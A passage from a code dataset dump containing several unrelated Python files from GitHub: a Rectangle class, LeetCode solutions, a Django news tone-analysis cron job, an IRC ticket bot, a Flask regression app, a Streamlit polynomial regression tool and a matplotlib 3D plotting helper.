DC_results.append(0.0)\n # DC_results = np.asarray(DC_results)\n return outputs, loss, DC_results\n\n\n\n","repo_name":"zhenxingjian/Partial_Distance_Correlation","sub_path":"TF_Diverge_Training/DC_criterion.py","file_name":"DC_criterion.py","file_ext":"py","file_size_in_byte":3213,"program_lang":"python","lang":"en","doc_type":"code","stars":167,"dataset":"github-code","pt":"5"} +{"seq_id":"74001914712","text":"#!/usr/bin/python3\n\nfrom models.base import Base\n\n\nclass Rectangle(Base):\n\n def __init__(self, width, height, x=0, y=0, id=None):\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n super().__init__(id)\n\n @property\n def width(self):\n return self.__width\n\n @width.setter\n def width(self, value):\n if type(value) is not int:\n raise TypeError(f\"width must be an integer\")\n\n if value <= 0:\n raise ValueError(f\"width must be > 0\")\n self.__width = value\n\n @property\n def height(self):\n return self.__height\n\n @height.setter\n def height(self, value):\n if type(value) is not int:\n raise TypeError(\"height must be an integer\")\n if value <= 0:\n raise ValueError(\"height must be > 0\")\n self.__height = value\n\n @property\n def x(self):\n return self.__x\n\n @x.setter\n def x(self, value):\n if type(value) is not int:\n raise TypeError(f\"x must be an integer\")\n if value < 0:\n raise ValueError(f\"x must be >= 0\")\n self.__x = value\n\n @property\n def y(self):\n return self.__y\n\n @y.setter\n def y(self, value):\n if type(value) is not int:\n raise TypeError(f\"y must be an integer\")\n if value < 0:\n raise ValueError(f\"y must be >= 0\")\n self.__y = value\n\n def area(self):\n return self.__width * self.__height\n\n def display(self):\n space_x = \"\"\n space_y = \"\"\n rectangle = \"\"\n\n space_x += \" \" * self.__x\n space_y += \"\\n\" * self.__y\n\n rectangle += space_y\n\n for _ in range(self.__height):\n rectangle += space_x + \"#\" * self.__width + \"\\n\"\n print(rectangle, end='')\n\n def __str__(self):\n return f\"[Rectangle] ({(self.id)}) \\\n {self.x}/{self.y} - {self.width}/{self.height}\"\n\n def update(self, *args, **kwargs):\n\n if args is not None and len(args) > 0:\n attribute_list = [\"id\", \"x\", \"y\", \"width\", \"height\"]\n\n for count, arg in enumerate(args):\n setattr(self, attribute_list[count], arg)\n\n if kwargs:\n for key, value in kwargs.items():\n setattr(self, key, value)\n\n def to_dictionary(self):\n attribute_list = [\"id\", \"width\", \"height\", \"x\", \"y\"]\n new_dict = dict()\n\n for key in attribute_list:\n new_dict[key] = getattr(self, key)\n\n return new_dict\n","repo_name":"gospelin/alx-hackathon","sub_path":"alx-higher_level_programming/0x0C-python-almost_a_circle/models/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"13626352135","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2017/10/31 14:39\n# @File : leetCode_541.py\n\n'''\n思路:\n从0开始,步长为 2k,\n取前k个字段反转,后k个字段保持\n\n'''\n\n\nclass Solution(object):\n def reverseStr(self, s, k):\n \"\"\"\n :type s: str\n :type k: int\n :rtype: str\n \"\"\"\n res = \"\"\n for i in range(0, len(s), 2*k):\n res += s[i:i + k][::-1]\n res += s[i + k: i + 2*k]\n return res\n\nss = \"abcdefg\"\n\ns = Solution()\nprint(s.reverseStr(ss, 2))","repo_name":"StitchIQ/leetCode_step","sub_path":"String/leetCode_541.py","file_name":"leetCode_541.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"17204192203","text":"#!/usr/bin/python\nfrom django_cron import CronJobBase, Schedule\nfrom goose3 import Goose\nimport goose3\nfrom watson_developer_cloud import ToneAnalyzerV3\nfrom .news import get_news\nimport os\n# from .models import News\n\n\nimport psycopg2\n\n\ndef extract_text(url):\n \"\"\"Function to extract text from article\n \"\"\"\n g = Goose()\n\n try:\n article = g.extract(url)\n except goose3.network.NetworkError:\n return False\n\n return article.cleaned_text\n\n\ndef analyze_text(text):\n tone_analyzer = ToneAnalyzerV3(\n version='2017-09-21',\n iam_apikey=os.environ.get('IAM_APIKEY'),\n url='https://gateway.watsonplatform.net/tone-analyzer/api')\n\n return tone_analyzer.tone(\n {'text': text},\n 'application/json')\n\n\nclass MyCronJob(CronJobBase):\n \"\"\" Responsible for everything related to my chron job itself\n \"\"\"\n RUN_EVERY_MINS = 1\n\n schedule = Schedule(run_every_mins=RUN_EVERY_MINS)\n code = 'portfolio_app.my_cron_job'\n\n def do(self):\n \"\"\" cron job using psycopg2\n \"\"\"\n conn = psycopg2.connect(\"dbname=madelinepet\")\n cur = conn.cursor()\n api_response = get_news()\n\n parsed_article_list = []\n\n for obj in api_response:\n parsed_article = {\n 'title': obj['title'],\n 'url': obj['url'],\n 'description': obj['description'],\n 'source': obj['source']['name'],\n 'date_published': obj['publishedAt'],\n 'image': obj['urlToImage'],\n }\n parsed_article_list.append(parsed_article)\n\n analyzed_articles = []\n\n for article in parsed_article_list:\n url = article['url']\n\n text = extract_text(url)\n if not text:\n continue\n\n tone_analysis = analyze_text(text).get_result()\n\n if len(tone_analysis['document_tone']['tones']):\n dom_tone = tone_analysis['document_tone']['tones'][-1]['tone_name']\n article = {\n 'title': article['title'],\n 'url': article['url'],\n 'description': article['description'],\n 'source': article['source'],\n 'date_published': article['date_published'],\n 'image': article['image'],\n 'dom_tone': dom_tone\n }\n analyzed_articles.append(article)\n\n try:\n cur.execute(\"INSERT INTO portfolio_app_news (title, url, description, source, date_published, image, dom_tone) VALUES (%s, %s, %s, %s, %s, %s, %s) ON CONFLICT DO NOTHING\", (article['title'], article['url'], article['description'], article['source'], article['date_published'], article['image'], article['dom_tone']))\n conn.commit()\n print('success')\n except (Exception, psycopg2.DatabaseError) as error:\n print(error)\n continue\n\n conn.commit()\n cur.close()\n conn.close()\n","repo_name":"madelinepet/portfolio","sub_path":"portfolio_app/scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":3123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40057122080","text":"\"\"\" \r\nPochodna sinh x, dla x = 0.5\r\nObliczna zgdonie ze wzorem: \r\nf'(x) = (f(x+h) - f(x-h))/(2h)\r\n\"\"\"\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\ndef calclulate_derivative(x0):\r\n size = 20\r\n\r\n h_den = np.arange(0, size, 1.0)\r\n h = 0.4*1/np.power(5, h_den)\r\n\r\n deriv = (np.sinh(x0+h) - np.sinh(x0-h))/(2*h)\r\n return deriv, h\r\n\r\n\r\n\r\nx0 = 0.5\r\nderiv, h = calclulate_derivative(x0)\r\n\r\n\r\nderiv_true = np.cosh(x0) # d/dx(sinh(x)) = cosh(x)\r\n\r\n\r\n# Wyniki w kolumnie\r\nerror = np.absolute(deriv-deriv_true)\r\n\r\nprint(f\"Wartosc prawdziwa pochodnej: {deriv_true}\\n\")\r\nresult = np.column_stack((h, deriv, error))\r\nprint(\"h, wyznaczona pochodna, wartość bezwzglęna błędu bezwzględnego\")\r\nprint(result)\r\n\r\n# Najmniejszy błąd\r\nid_min = np.argmin(error)\r\nprint(f\"h, dla ktorego błąd jest minimalny: {h[id_min]}\")\r\n\r\n# Wykres błędu od h\r\nplt.xscale('log')\r\nplt.yscale('log')\r\nplt.xlabel(\"h - skala logarytmiczna\")\r\nplt.ylabel(\"error - skala logarytmiczna\")\r\n\r\nplt.scatter(h, error)\r\nplt.show()","repo_name":"Piotr-Pietruszka/Numerical-Methods","sub_path":"2_pochodna_numerycznie/derivative.py","file_name":"derivative.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15423471288","text":"def max(a ,b) :\r\n max = 0\r\n if a > b :\r\n max = a\r\n else :\r\n max = b\r\n\r\n return max\r\n\r\nfirst = int(input(\"첫 번째 정수를 입력하세요\"))\r\nsecond = int(input(\"두 번째 정수를 입력하세요\"))\r\n\r\nprint(max(first, second))\r\n","repo_name":"ablesdm/python","sub_path":"python sample.py","file_name":"python sample.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"72608785752","text":"import socket\nimport db\nfrom datetime import datetime\nfrom datetime import timedelta\nimport random\n\n\ndef ping(ircsock):\n \"\"\" Respond to server pings. If not the server will close the connection \"\"\"\n ircsock.send(\"PONG :Pong\\n\")\n\n\ndef sendmsg(ircsock, chan, msg):\n \"\"\" Send message to channels \"\"\"\n ircsock.send(\"PRIVMSG \" + chan + \" :\" + msg + \"\\n\")\n\n\ndef joinchan(ircsock, chan):\n \"\"\" Join IRC channel \"\"\"\n ircsock.send(\"JOIN \" + chan + \"\\n\")\n\n\ndef hello(ircsock, channel):\n \"\"\" Responds to a user that inputs \"Hello Mybot\" \"\"\"\n msgs = (\"Hello! I currently accept these commands:\\n\",\n \"add <TICKET INFO> - Add a new ticket\\n\",\n \"show - Display all current tickets\\n\",\n \"grab <TICKET ID> - Assign ticket a owner\\n\",\n \"done <TICKET ID> - Mark a ticket as finished\\n\\n\"\n \"Also check out my webserver running on http://%s:8051\"\n % socket.gethostbyaddr(socket.gethostname())[0])\n for msg in msgs:\n sendmsg(ircsock, channel, msg)\n\n\ndef add(ircsock, channel, info):\n \"\"\" Add a new ticket \"\"\"\n db.add(info)\n sendmsg(ircsock, channel, \"Added new ticket!\")\n\n\ndef show(ircsock, channel):\n \"\"\" Show current set of tickets \"\"\"\n tickets = db.getall(ticket_type='active')\n sendmsg(ircsock, channel, \"Current available tickets:\")\n for ticket in tickets:\n show_one(ircsock, channel, ticket)\n\n\ndef show_one(ircsock, channel, ticket):\n \"\"\" Show one ticket \"\"\"\n sendmsg(ircsock, channel, \" - \" + str(ticket[0]) +\n \": \" + ticket[1].encode(\"utf-8\"))\n\n\ndef done(ircsock, channel, index):\n \"\"\" Mark a ticket as finished \"\"\"\n db.set('done', True, index)\n sendmsg(ircsock, channel, \"Finished ticket: \" + index)\n\n\ndef grab(ircsock, channel, owner, index):\n \"\"\" Take and assign a ticket to the messanger \"\"\"\n if db.exists(index):\n db.grab(owner, index)\n sendmsg(ircsock, channel, \"Grabbed ticket: \" + index +\n \", go fix it!!!\")\n else:\n sendmsg(ircsock, channel + \"No such ticket...\")\n\n\ndef is_command(msg, botnick, command):\n \"\"\" Check if this is a message includes a specific command \"\"\"\n return msg.upper().find(botnick.upper() + \": \" + command.upper()) != -1\n\n\ndef nick_pars(msg):\n \"\"\" Find the sending nick in message \"\"\"\n return msg[msg.upper().find(\":\") + 1:msg.upper().find(\"!\")].strip()\n\n\ndef info_parse(msg, cmd):\n \"\"\"\n Get the info part of a message (whatever comes after a command)\n E.g: \" GRAB 1\", \" ADD Fix coffe\"...\n \"\"\"\n space_cmd = \" \" + cmd.upper() # All commands must begin with a space\n return (unicode(msg[msg.upper().find(space_cmd) +\n len(space_cmd):].strip(), 'UTF-8'))\n\n\ndef random_burp(ircsock, channel, last_burp):\n \"\"\"\n Every working hour there is a possibility we burp out a ticket to do\n to remind everyone...\n \"\"\"\n tickets = db.getall(ticket_type='active')\n if ((datetime.now().day != last_burp.day\n and datetime.now().hour != last_burp.hour\n and datetime.now().hour > 9\n and datetime.now().hour < 18\n and datetime.now().minute == 0\n and (random.randint(0, 2) > 0)\n and len(tickets) > 0)):\n # Display one random ticket to do\n sendmsg(ircsock, channel, \"Need something to do?\")\n show_one(ircsock, channel, tickets[random.randint(0, len(tickets)-1)])\n last_burp = datetime.now()\n return last_burp\n\n\ndef loop(server, port, channel, botnick):\n \"\"\"\n Connect and authenticate towards server then proceeds to put itself\n into the \"neverending-loop\" against the irc server\n \"\"\"\n # Keep track of when we last burped, init from yesterday to get\n # going.\n last_burp = datetime.today() - timedelta(hours=1, days=1)\n ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n ircsock.connect((server, port))\n ircsock.send(\"USER \" + botnick +\n \" \" + botnick +\n \" \" + botnick +\n \" :BOOOOT!\\n\")\n ircsock.send(\"NICK \" + botnick + \"\\n\")\n # Join the channel using the functions we previously defined\n joinchan(ircsock, channel)\n # Bot loop\n while True:\n ircmsg = ircsock.recv(2048) # Receive data from the server\n ircmsg = ircmsg.strip('\\n\\r') # Removing any unnecessary linebreaks.\n print(ircmsg) # Print whatever the server say on stdout\n last_burp = random_burp(ircsock, channel, last_burp)\n # If the server pings us then we've got to respond!\n if ircmsg.find(\"PING :\") != -1:\n ping(ircsock)\n # If we can find \"Hello Mybot\" it will call the function hello()\n elif (is_command(ircmsg, botnick, \"hello\") or\n is_command(ircmsg, botnick, \"help\")):\n hello(ircsock, channel)\n # Add a new ticket\n elif is_command(ircmsg, botnick, \"add\"):\n add(ircsock, channel, info_parse(ircmsg, \"add\"))\n # Get all\n elif is_command(ircmsg, botnick, \"show\"):\n show(ircsock, channel)\n # Finish a ticket\n elif is_command(ircmsg, botnick, \"done\"):\n done(ircsock, channel, info_parse(ircmsg, \"done\"))\n # Grab a ticket\n elif is_command(ircmsg, botnick, \"grab\"):\n grab(ircsock, channel, nick_pars(ircmsg), info_parse(ircmsg, \"grab\"))\n","repo_name":"alx242/ticketblaster","sub_path":"ticketblaster/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":5056,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"26587339911","text":"import os\nimport pandas as pd\nfrom datetime import datetime\nimport numpy as np\n# from modules.logging_methods.main import logger\n\ndef saved_on_demand_prediction(cli_args, config):\n # Replace 'None' values in cli_args with corresponding values from config\n for key, value in cli_args.items():\n if value is None and key in config:\n config_value = config[key]\n if isinstance(config_value, list) and len(config_value) > 0:\n cli_args[key] = config_value[0]\n else:\n cli_args[key] = config_value\n\n prediction_data_path = config['prediction_data_path']\n results_header = config['results_header']\n results_file = config['results_file']\n building_file = cli_args['building_file']\n building = cli_args['building_file'].replace('.csv', '')\n y_column_mapping = config['y_column_mapping']\n startDateTime = config['startDateTime']\n endDateTime = config['endDateTime']\n datelevel = cli_args['datelevel']\n datetime_format = config['datetime_format']\n time_step = str(cli_args['time_step'])\n y_pred_lists = []\n results = []\n\n file_path = f'{prediction_data_path}/{building}_{results_file}'\n # logger(startDateTime + endDateTime)\n if os.path.exists(file_path):\n \n df = pd.read_csv(file_path)\n\n for col in df.columns:\n if 'predicted' in col:\n new_col = col.replace('predicted', 'present')\n df.rename(columns={col: y_column_mapping[new_col]}, inplace=True)\n\n df = df.set_index('ts')\n df.index = pd.to_datetime(df.index)\n\n # Filter the dataframe to include data within the startDateTime and endDateTime\n\n if startDateTime and endDateTime:\n # Convert startDateTime and endDateTime to datetime objects\n start_datetime_obj = datetime.strptime(startDateTime, datetime_format)\n end_datetime_obj = datetime.strptime(endDateTime, datetime_format)\n df = df.loc[(df.index >= start_datetime_obj) & (df.index <= end_datetime_obj)]\n elif startDateTime:\n # Convert startDateTime to datetime object\n start_datetime_obj = datetime.strptime(startDateTime, datetime_format)\n df = df.loc[df.index >= start_datetime_obj]\n elif endDateTime:\n # Convert endDateTime to datetime object\n end_datetime_obj = datetime.strptime(endDateTime, datetime_format)\n df = df.loc[df.index <= end_datetime_obj]\n\n df = df.reset_index()\n df['building_file'] = building_file\n df['water'] = None\n\n df.rename(columns={'ts': 'timestamp'}, inplace=True)\n df['timestamp'] = pd.to_datetime(df['timestamp'])\n \n df.replace(to_replace=[np.nan, \"None\"], value=None, inplace=True) \n\n columns_to_keep = ['timestamp', 'bldgname', 'building_file'] + list(y_column_mapping.values())\n\n # Rename columns based on y_column_mapping\n df.rename(columns=y_column_mapping, inplace=True)\n\n # Drop columns except the ones to keep\n df = df[columns_to_keep]\n\n results = df\n\n return results","repo_name":"missionloyd/predictiveml","sub_path":"flask_app/modules/prediction_methods/saved_on_demand_prediction.py","file_name":"saved_on_demand_prediction.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"26208875746","text":"# 79. Word Search\n\nclass Solution:\n def exist(self, board: List[List[str]], word: str) -> bool:\n def backtrack(word, c, i, j):\n nonlocal m, n\n if c == len(word): # entire word is found\n return True\n if i < 0 or i >= m or j < 0 or j >= n or board[i][j] == '#':\n return\n if board[i][j] != word[c]:\n return False\n \n char = board[i][j]\n board[i][j] = '#' # mark as visited\n result = \\\n backtrack(word, c + 1, i - 1, j) \\\n or backtrack(word, c + 1, i, j - 1) \\\n or backtrack(word, c + 1, i, j + 1) \\\n or backtrack(word, c + 1, i + 1, j)\n \n board[i][j] = char # restore original value\n return result\n \n m = len(board)\n n = len(board[0])\n for i in range(m):\n for j in range(n):\n if backtrack(word, 0, i, j):\n return True\n \n return False\n ","repo_name":"shivamshrey/LeetCode","sub_path":"LC_79.py","file_name":"LC_79.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"71589882711","text":"from flask import Flask, render_template, redirect, url_for, request\nfrom sklearn.externals import joblib\nfrom flask_sqlalchemy import SQLAlchemy\nimport os\nimport numpy as np\nimport requests\nimport json\n\napp = Flask(__name__)\ndb = SQLAlchemy()\napp.config.from_object(os.environ['APP_SETTINGS'])\n# change the env variable app settings to switch from environment \n# as object it will use our config module\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb.init_app(app)\n# SQL alchemy is our Object relational mapper\nimport models\n\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\", prediction=float(0))\n\n@app.route(\"/predict\", methods=['POST'])\ndef predict():\n if request.method=='POST':\n\n regressor = joblib.load(\"linear_regression_model.pkl\")\n\n data = dict(request.form.items())\n\n years_of_experience = np.array(float(data[\"YearsExperience\"])).reshape(-1,1)\n\n prediction = regressor.predict(years_of_experience)\n result = models.Result(\n YearsExperience=float(years_of_experience),\n Prediction = float(prediction)\n )\n db.session.add(result)\n db.session.commit()\n return render_template(\"index.html\", prediction=prediction)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"belke05/deploy_SQL_Azure_Flask","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20915259524","text":"import streamlit as st\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom sklearn import linear_model\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.metrics import mean_squared_error, r2_score\nfrom sklearn.metrics import accuracy_score\nfrom streamlit import caching\n\n\ndef PRM(): # Polynomial Regresssion Method\n try:\n parameter_test_size = st.sidebar.slider(\n \"Test size (fraction)\", 0.02, 0.80, 0.2)\n st.sidebar.write(\"Test size: \", parameter_test_size)\n\n polynomial_grade = st.sidebar.slider(\n \"Polynomial grade:\", 2, 10, 2)\n st.sidebar.write(\"Polynomial grade: \", polynomial_grade)\n\n st.sidebar.info(\"\"\"\n [More information](http://gonzalezmaw.pythonanywhere.com/)\n \"\"\")\n uploaded_file = st.file_uploader(\"Choose a CSV file\")\n if uploaded_file is not None:\n df = pd.read_csv(uploaded_file)\n df = df.dropna()\n df = df.drop_duplicates()\n\n # Header name\n\n X_name = df.iloc[:, 0].name\n y_name = df.iloc[:, -1].name\n X = df.iloc[:, :-1]\n y = df.iloc[:, -1] # Selecting the last column as Y\n\n # Taking N% of the data for training and (1-N%) for testing:\n num = int(len(df)*(1-parameter_test_size))\n # training data:\n data = df\n train = df[:num]\n # Testing data:\n test = df[num:]\n\n st.subheader(\"Data Processing:\")\n\n col1, col2, col3, col4 = st.beta_columns(4)\n\n with col1:\n st.write(\"Shape of dataset:\")\n st.info(df.shape)\n with col2:\n st.write(\"Complete data:\")\n st.info(len(data))\n with col3:\n st.write(\"Data to train:\")\n st.info(len(train))\n with col4:\n st.write(\"Data to test:\")\n st.info(len(test))\n\n st.write(\"Descriptive statistics:\")\n st.write(df.describe())\n\n #st.write(\"Shape of dataset:\", df.shape)\n\n X_train, X_test, y_train, y_test = train_test_split(\n X, y, test_size=parameter_test_size, random_state=0)\n #st.write(\"Complete data: \", len(df))\n #st.write(\"Data to train: \", len(X_train))\n #st.write(\"Data to test: \", len(X_test))\n # st.write(df.describe())\n\n showData = st.checkbox('Show Dataset')\n if showData:\n st.subheader('Dataset')\n st.write(df)\n figure1, ax = plt.subplots()\n ax.scatter(X, y, label=\"Dataset\", s=15)\n plt.title('Dataset')\n plt.xlabel(X_name)\n plt.ylabel(y_name)\n plt.legend()\n st.pyplot(figure1)\n\n # Create a model\n X_ = PolynomialFeatures(\n degree=polynomial_grade, include_bias=False).fit_transform(X)\n X_train_ = PolynomialFeatures(\n degree=polynomial_grade, include_bias=False).fit_transform(X_train)\n X_test_ = PolynomialFeatures(\n degree=polynomial_grade, include_bias=False).fit_transform(X_test)\n\n # Train the model using the training sets\n model = LinearRegression().fit(X_, y)\n # model = LinearRegression().fit(X_train_, y_train)\n\n st.subheader(\"\"\"\n **Regression**\n \"\"\")\n r_sq = round(model.score(X_, y), 6)\n\n intercept = round(model.intercept_, 6)\n st.write(\"Intercept:\")\n st.info(intercept)\n coefficients = model.coef_\n # st.table(coefficients)\n st.write(\"Coefficients:\")\n st.info(coefficients)\n\n st.write('Coefficient of determination ($R^2$):')\n\n st.info(r_sq)\n\n # Predict the response for test dataset\n y_pred = model.predict(X_test_)\n\n # Predicting values for the whole dataset\n predicted_data = model.predict(X_)\n\n # Predicting values for the whole dataset\n predicted_train = model.predict(X_train_)\n # fitted = model.fit()\n # st.info(fitted.summary())\n\n # acc = accuracy_score(y_test, y_pred)\n # st.info(acc)\n figure2, ax = plt.subplots()\n # ax.scatter(X, y, label=\"Dataset\", color='Blue')\n ax.scatter(X, y, label=\"Dataset\", s=15)\n ax.plot(X, predicted_data, label=\"Dataset\", color=\"Red\")\n plt.title('Complete Dataset')\n plt.xlabel(X_name)\n plt.ylabel(y_name)\n # plt.legend()\n st.pyplot(figure2)\n\n figure3, ax = plt.subplots()\n # ax.scatter(X, y, label=\"Dataset\", color='Blue')\n ax.scatter(X_train, y_train, label=\"Dataset\", s=15, color=\"Green\")\n ax.plot(X_train, predicted_train, label=\"Dataset\", color=\"Red\")\n plt.title('Training Dataset')\n plt.xlabel(X_name)\n plt.ylabel(y_name)\n # plt.legend()\n st.pyplot(figure3)\n\n figure4, ax = plt.subplots()\n # ax.scatter(X, y, label=\"Dataset\", color='Blue')\n ax.scatter(X_test, y_test, label=\"Dataset\", s=15, color=\"Green\")\n ax.plot(X_test, y_pred, label=\"Dataset\", color=\"Red\")\n plt.title('Test Dataset')\n plt.xlabel(X_name)\n plt.ylabel(y_name)\n # plt.legend()\n st.pyplot(figure4)\n\n # for creating pipeline\n from sklearn.pipeline import Pipeline\n # creating pipeline and fitting it on data\n Input = [('polynomial', PolynomialFeatures(degree=2)),\n ('modal', LinearRegression())]\n pipe = Pipeline(Input)\n pipe.fit(X, y)\n # poly_pred = pipe.predict(X)\n\n # st.info(poly_pred)\n # st.write(poly_pred.shape)\n # sorting predicted values with respect to predictor\n # sorted_zip = sorted(zip(X, poly_pred))\n # x_poly, poly_pred = zip(*sorted_zip)\n # st.info(x_poly)\n # plotting predictions\n\n # figure3, ax1 = plt.subplots()\n # plt.figure(figsize=(10, 6))\n # ax1.scatter(X, y, s=15)\n # plt.plot(x,y_pred,color='r',label='Linear Regression')\n # ax1.plot(X, poly_pred, color='red', label='Polynomial Regression')\n # plt.xlabel('Predictor', fontsize=16)\n # plt.ylabel('Target', fontsize=16)\n # plt.legend()\n # st.pyplot(figure3)\n st.subheader(\"\"\"\n **Prediction**\n \"\"\")\n\n col1, col2 = st.beta_columns(2)\n\n with col1:\n X_new = st.number_input('Input a number:')\n matrix = np.array([X_new]).reshape(1, -1)\n X_2 = PolynomialFeatures(\n degree=polynomial_grade, include_bias=False).fit_transform(matrix)\n\n with col1:\n st.write(\"Result:\")\n # y_new = np.reshape(X_new, (1, -1))\n y_new = model.predict(X_2)\n st.success(y_new[0])\n\n with col2:\n print(\"nothing\")\n\n if st.button('Re-Run'):\n caching.clear_cache()\n st._RerunException\n\n else:\n st.info('Awaiting for CSV file to be uploaded.')\n\n except:\n st.info('ERROR - Please check your Dataset, parameters o selected model')\n st.success(\n 'All your data must be numeric and without empty or null spaces')\n return\n","repo_name":"gonzalezmaw/Nba-ML4","sub_path":"PRM.py","file_name":"PRM.py","file_ext":"py","file_size_in_byte":7871,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"74319018393","text":"import cv2\nimport json\nimport matplotlib.pyplot as plt\nimport numpy as np \n\nclass Myplot3d():\n \"\"\"\n matplotlib 默认 x向前,y向右,z向上 \\n\n 坐标轴单位为 cm \\n\n 默认的场地大小(通过scale调节)为: x长10m原点在中心, y长10m原点在中心,z长10m原点在下方 \\n\n \"\"\"\n def __init__(self,scale=1):\n \"\"\"\n \n \"\"\"\n import matplotlib.pyplot as plt \n from mpl_toolkits import mplot3d \n self.fig = plt.figure(figsize = (10, 7)) \n self.ax=mplot3d.Axes3D(self.fig) \n self.ax.set_xlim3d(-500*scale,500*scale)\n self.ax.set_ylim3d(-500*scale,500*scale)\n self.ax.set_zlim3d(0,1000*scale)\n self.ax.set_xlabel(\"x axis\")\n self.ax.set_ylabel(\"y axis\")\n self.ax.set_zlabel(\"x zxis\")\n print(\"=> 使用 黄色 标记 世界坐标系原点 ..\")\n origin_point=(float(0), float(0), float(0))\n self.scatter(origin_point, color=\"yellow\") \n print(\"=> 绘制 世界坐标系 X轴Y轴Z轴,分别为 RGB 颜色 ..\")\n x_point=(float(100*scale), float(0), float(0))\n y_point=(float(0), float(100*scale), float(0))\n z_point=(float(0), float(0), float(100*scale))\n self.line(origin_point,x_point,\"red\")\n self.line(origin_point,y_point,\"green\")\n self.line(origin_point,z_point,\"blue\")\n # 测试 scatter3D函数 Z轴朝向\n # self.scatter(z_point,\"blue\")\n #plt.gca().set_box_aspect((3, 5, 2)) # 当x、y、z轴范围之比为3:5:2时\n # plt.gca().set_box_aspect((4, 4, 3))\n\n def scatter(self,point3d,color=\"grey\"): \n self.ax.scatter3D(float(point3d[0]), float(point3d[1]), float(point3d[2]), color = color) \n def scatters(self,points3d,color=\"grey\"):\n \"\"\"args:\n points3d is a list of tuples. \n tuple=(x_coordinate,y_coordinate,z_coordinate)\n \"\"\"\n for point3d in points3d:\n self.scatter(point3d,color)\n def line(self,point3d_1,point3d_2,color=\"gray\"):\n line_x=np.array([float(point3d_1[0]),float(point3d_2[0])])\n line_y=np.array([float(point3d_1[1]),float(point3d_2[1])])\n line_z=np.array([float(point3d_1[2]),float(point3d_2[2])])\n self.ax.plot3D(line_x,line_y,line_z,color)\n def lines(self,pointpairs,color=\"grey\"):\n \"\"\"args:\n pointpairs is a list of tuples. \n tuples=(point3d_1,point3d_2). point3d is a tuple.\n point3d=(x_coordinate,y_coordinate,z_coordinate)\n \"\"\"\n for point3d_1,point3d_2 in pointpairs:\n self.line(point3d_1,point3d_2,color)\n def show(self,title=\"3D scatter plot\"):\n plt.title(title) \n plt.show() \n # TEST\n def test_scatters(self,):\n z = np.random.randint(80, size =(55)) \n x = np.random.randint(60, size =(55)) \n y = np.random.randint(64, size =(55)) \n points3d=[]\n for i in range(55):\n points3d.append( (x[i],y[i],z[i]) )\n self.scatters(points3d)\n def test_lines(self,):\n pointpair=[]\n pointpair.append( ((0,0,0),(100,100,100)) )\n pointpair.append( ((-100,-100,-100),(0,0,0)) )\n self.lines(pointpair)\n\nclass Myshow3d(Myplot3d):\n def __init__(self,map=\"+z+x+y\",unit=\"cm\",scale=1):\n self.map=map\n self.unit=unit\n self.scale=scale\n super().__init__(scale=self.scale)\n self.panoptic_bones_def = [\n [0, 1], [0, 2], # trunk\n [0, 3], [3, 4], [4, 5], # left arm\n [0, 9], [9, 10], [10, 11], # right arm\n [2, 6], [6, 7], [7, 8], # left leg\n [2, 12], [12, 13], [13, 14], # right leg\n ]\n def adapter(self,points,map=None,unit=None):\n \"\"\"坐标系转换、单位转换 \\n\n args: \\n\n point: 列表[( , , )] 或 元组( , , )\\n\n map: 现有坐标系的(向前,向右,向上)三个方向 \\n\n 例如。 map=\"+z+x+y\" 表示unity左手系,z轴的正方向指向物体前方,x轴正方向指向物体右方,y轴正方向指向物体上方 \\n\n unity左手系可视化: \\n\n | +y \\n\n | \\n\n | \\n\n *—— —— —— +x \\n\n / \\n\n / \\n\n / +z \\n\n 返回值: \\n\n 将现有坐标系转换为matplotlib坐标系\\n\n matplotlib坐标系: +x向前,+y向右,z向上 \\n\n\n \"\"\"\n if map==None:\n # print(\"=> 触发 map==None ..\")\n map=self.map\n if unit==None:\n # print(\"=> 触发 unit==None ..\")\n unit=self.unit\n def one_point_adapter(point,map):\n new_point=[None,None,None]\n # 确定 x 的位置\n index=map.find('x')\n if '+' in map[index-1] :\n new_point[0]=point[int(index/2)]\n else:\n new_point[0]=-point[int(index/2)]\n # 确定 y 的位置\n index=map.find('y')\n if '+' in map[index-1] :\n new_point[1]=point[int(index/2)]\n else:\n new_point[1]=-point[int(index/2)]\n # 确定 z 的位置\n index=map.find('z')\n if '+' in map[index-1] :\n new_point[2]=point[int(index/2)]\n else:\n new_point[2]=-point[int(index/2)]\n # list to tuple\n if unit==\"cm\":\n new_point=(new_point[0],new_point[1],new_point[2])\n elif unit==\"mm\":\n new_point=(new_point[0]/10,new_point[1]/10,new_point[2]/10)\n elif unit==\"m\":\n 